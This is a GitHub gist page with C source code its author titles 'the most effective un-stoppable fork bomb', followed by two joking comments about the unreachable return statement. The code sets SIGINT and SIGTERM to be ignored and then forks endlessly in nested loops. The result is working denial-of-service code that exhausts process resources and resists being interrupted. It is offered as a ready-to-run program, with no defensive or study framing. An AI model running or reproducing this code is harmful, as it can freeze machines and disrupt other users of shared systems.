Skip to content

Instantly share code, notes, and snippets.

@amanelis
Created December 6, 2010 07:21
Show Gist options
  • Save amanelis/729983 to your computer and use it in GitHub Desktop.
Save amanelis/729983 to your computer and use it in GitHub Desktop.
The most effective un-stoppable fork bomb....ever
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
int main (void) {
struct sigaction act_int, act_ter;
sigset_t newsigset;
/* You cannot actually ignore the signal using sigprocmask, just delay it
if ((sigemptyset(&newsigset) == -1))
fprintf(stderr, "Failed to initialize the signal set\n");
//adding signals to a set
sigaddset(&newsigset, SIGINT);
sigaddset(&newsigset, SIGTERM);
sigaddset(&newsigset, SIGABRT);
sigaddset(&newsigset, SIGHUP);
sigaddset(&newsigset, SIGKILL);
sigaddset(&newsigset, SIGQUIT);
sigaddset(&newsigset, SIGSTOP);
//blocking all signals in set
if ((sigprocmask(SIG_BLOCK, &newsigset, NULL) == -1))
fprintf(stderr, "Failed to block all signals\n");
*/
/* We want to igonore SIGINT */
if (sigaction(SIGINT, NULL, &act_int) == -1) {
fprintf(stderr, "Failed to handle signal\n");
} else if (act_int.sa_handler == SIG_DFL) {
act_int.sa_handler = SIG_IGN;
if (sigaction(SIGINT, &act_int, NULL) == -1)
fprintf(stderr, "Failed to ignore signal\n");
}
/* We want to ignore SIGTERM */
if (sigaction(SIGTERM, NULL, &act_ter) == -1) {
fprintf(stderr, "Fauled to handle signal\n");
} else if (act_ter.sa_handler == SIG_DFL) {
act_ter.sa_handler = SIG_IGN;
if (sigaction(SIGTERM, &act_ter, NULL) == -1)
fprintf(stderr, "Failed to ignore signal\n");
}
//OK, this is just ridiculous
while (1) {
fork();
while(1)
while(fork()) {
fork();
while(1)
fork();
}
}
return 0;
}
@mechanical-snail
Copy link

I like the return 0; at the end.

@amanelis
Copy link
Author

...had too. wouldn't want warnings if it ever made it there :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment